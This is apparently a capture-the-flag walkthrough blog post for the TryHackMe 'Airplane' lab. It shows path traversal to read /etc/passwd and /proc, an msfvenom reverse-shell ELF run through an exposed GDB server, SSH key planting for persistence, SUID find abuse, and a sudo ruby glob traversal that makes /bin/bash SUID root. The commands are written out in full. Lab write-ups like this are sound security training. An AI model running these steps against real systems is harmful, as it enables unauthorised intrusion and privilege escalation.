TryHackMe | Airplane

In this walkthrough, I demonstrate how I obtained complete ownership of the Airplane room on TryHackMe
TryHackMe | Airplane
In: TryHackMe, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Fri Jun 21 13:45:16 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt
Nmap scan report for
Host is up (0.076s latency).
Not shown: 65532 closed tcp ports (reset)
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_  256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
6048/tcp open  x11?
8000/tcp open  http-alt Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 21 Jun 2024 17:46:03 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 21 Jun 2024 17:45:58 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     "">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Jun 21 13:48:46 2024 -- 1 IP address (1 host up) scanned in 210.18 seconds
Don't miss the opportunity to look over the output from nmap --- specifically service banners, redirects, hostnames, and other breadcrumbs.

The web server running on tcp/8000 has a redirect to airplane.thm, so let's go ahead and get that added to our /etc/hosts file.

echo -e '\tairplane.thm' | sudo tee -a /etc/hosts

Service Enumeration


echo -e '\r\n' | nc -v airplane.thm 6048
telnet airplane.thm 6048
Try some simple banner grabbing and service enumeration techniques on an unknown port with no output from the nmap scan. Nothing interesting or useful here initially.


Just a quick glance at the server behavior using curl, seems to redirect to another page

Happy Path Testing

Walking the “happy path” · Pwning OWASP Juice Shop

We don't know anything about the web site or web app running on this server, so the initial plan is just to click around and see what site does at certain input points.

However, this is a simple web site with a short write-up on airplanes, so there isn't much to click around and see with the initial happy path testing.

Unhappy Path Testing

I checked for robots.txt and sitemap.xml to see if there would be any interesting pages or endpoints to explore, but the pages do not exist. Nothing interesting in the page source code either.

We'll need to use a brute-forcing tool such as gobuster to discover more pages — and possibly virtual hosts — available on the web server.

Gobuster Enumeration

Virtual Host Enumeration

gobuster vhost -k --domain airplane.thm --append-domain -u -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100

There are no additional virtual hosts that could be discovered on the web server using this word list. Moving on.

Directories and Files

gobuster dir -u http://airplane.thm:8000 -w /usr/share/seclists/Discovery/Web-Content/big.txt -o mKingdom_83_castle_index.txt -t 50
/airplane             (Status: 200) [Size: 655]
The /airplane page is almost certainly a dead end, as it's just a simple <h1> tag being rotated by some CSS. But, we'll keep an open mind to it and come back to it if all else fails.

Parameter and Value Fuzzing

The main page on the web server has a query string of ?page=index.html. Meaning that the parameter name is page and the value is index.html.

The next line of order would be to see if we can uncover any additional parameters or inject any other values into the ?page parameter.

This parameter is interesting because it is clearly loading index.html from a local file. What other local files might we be able to read?
Just a quick test to see how the application behaves with certain inputs
The target is running Ubuntu 20.04.06
Indeed the parameter is vulnerable to path traversal. I am using curl here, because the browser wants to download the file and I'd have to open and read it. It's much faster this way.
The server does not seem to load remote files

Looking for Sensitive Data

Testing with curl, since the browser wants to download the file

Interesting users in the passwd file

Read the owning process' environment variables from /proc/self
The process seems to be running under the hudson user's context
We can see the server was started with by reading the cmdline in /proc
We know the web server was invoked by python3 calling, but we don't know the exact location of So, we can start with some simple tests.

First... ?page=/"
Then... ?page=../
And so on.

from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)

def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:

            return resp
            return "Page not found"

        return redirect('http://airplane.thm:8000/?page=index.html', code=302)    

def airplane():
    return render_template('airplane.html')

if __name__ == '__main__':'', port=8000)

A few observations about

  1. There is only one parameter the server takes — ?page
  2. os.path.isfile(page) tests if the requested file exists
    1. If it does exist, return the contents of the page
    2. If the page exists, but has 0 data, indicate that in the Content-Lenght header
    3. Else, return Page not found
  3. There's a route to /airplane which loads airplane.html
Overall, nothing super interesting about this app. I suspect we'll need to hunt around for more information.

Fuzzing the /proc Filesystem

for i in {1..100000} ; do echo $i >> pids.txt ; done

Generate a list of process IDs -- 1 to 100,000 -- we'll test that much for now

# -b 500 : ignore server errors
# --exclude-lenght 14 : ignore empty HTTP 200

gobuster fuzz -u "http://airplane.thm:8000/?page=../../../../../../proc/FUZZ/environ" -w pids.txt -o gobuster_pids.txt -b 500 --exclude-length 14 -t 100

So, we know our user hudson has the ability to read processes 536, 538, and 576.

Process 536 -- running GDB on tcp/6048
Process 538 -- we've already seen this one
Process 576 -- runs the binary /opt/airplane
Download the airplane binary

Analyzing the Airplane Binary

This truly is the extent of the program... Don't go down any rabbit holes here.


Reverse Shell via GDB Server

Pentesting Remote GdbServer | HackTricks
As we found looking at /proc/536/cmdline, there is a remote GDB server running on tcp/6048. And looking at the HackTricks article, this should be interesting.
msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=443 PrependFork=true -f elf -o pwn.elf

Generate the malicious ELF binary

chmod +x pwn.elf

Make it executable

gdb pwn.elf

Load GDB into our local debugger

(gdb) target extended-remote airplane.thm:6048
(gdb) remote put pwn.elf /tmp/pwn.elf
(gdb) set remote exec-file /tmp/pwn.elf
(gdb) run

Connect to the remote GDB server, upload the malicious ELF, and run it

That was a wild ride... taking a path traversal vulnerability, brute-forcing process IDs and their command lines, and finally figuring out the remote GDB server is running on tcp/6048.

Getting a Better Shell

ssh-keygen -t rsa -f pwn -b 4096 -C '' -N ''
Run on Kali to generate a SSH key pair
Copy to your clipboard
echo 'public_key_contents_here' > ~/.ssh/id_rsa`

Run in your reverse shell to add your SSH public key

Key should be trusted now
ssh -i pwn hudson@airplane.thm
Now we have an interactive SSH session, much better

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="20.04.6 LTS (Focal Fossa)"
PRETTY_NAME="Ubuntu 20.04.6 LTS"

Linux airplane 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)

Sorry, user hudson may not run sudo on airplane.    

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
    link/ether 02:8b:b3:df:64:b5 brd ff:ff:ff:ff:ff:ff
    inet brd scope global dynamic ens5
       valid_lft 3355sec preferred_lft 3355sec
    inet6 fe80::8b:b3ff:fedf:64b5/64 scope link 
       valid_lft forever preferred_lft forever    

Interesting Files


-rwsr-xr-x 1 carlos carlos 320160 Şub 18  2020 /usr/bin/find    

Privilege Escalation

Lateral to Carlos

find / -type f -perm /4000 -exec ls -l {} \; 2>/dev/null

Command used to find the SUID binary

-rwsr-xr-x 1 carlos carlos 320160 Şub 18  2020 /usr/bin/find

User owner is carlos meaning it runs with his euid

find | GTFOBins
find /tmp -exec /bin/bash -ip \; -quit

Use the -exec feature to run /bin/bash

From here, we restart the post-exploitation enumeration process as carlos

Getting a Login as Carlos

Rather than running with carlos effective user ID, let's get a login shell as him.

We can just reuse the file from before and add it to carlos authorized_keys file
echo 'pwn.pub_contents_here' > /home/carlos/.ssh/authorized_keys
chmod 400 /home/carlos/.ssh/authorized_keys
ssh -i pwn carlos@airplane.thm
Always a good idea to check sudo for quick wins after changing user

Becoming Root

It took me admittedly longer than I would have liked to see the simplicity in the privilege escalation. However, this is an abuse of a simple, overly greedy file globbing pattern.

Pay careful attention to the sudo grant — (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb. This is a file globbing pattern such that:

  1. As long as the file path STARTS WITH /root/...
  2. It will match on ANYTHING FOLLOWING THIS
  3. And ENDING IN .rb

So, the following conditions are true...

/root/script.rb is OK
/root/subdir/script.rb is OK
/root/../../../../../tmp/script.rb is OK

How to Run System Commands From Ruby
If you want to run an external command from Ruby... wkhtmltopdf to convert an HTML file into a PDF. There are a few Ruby methods you can use. Depending on the method you use you’ll get different

We can run system commands using Ruby's system() library

nano /tmp/pwn.rb

Create the .rb script in /tmp on the target

#! /usr/bin/env ruby

system('chmod 4755 /bin/bash')

Set SUID on the /bin/bash binary

chmod 755 /tmp/pwn.rb

Make your Ruby script executable

sudo /usr/bin/ruby /root/../../../../tmp/pwn.rb
Before and after the script was run
/bin/bash -ip

Run /bin/bash and inherit euid=0(root)





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.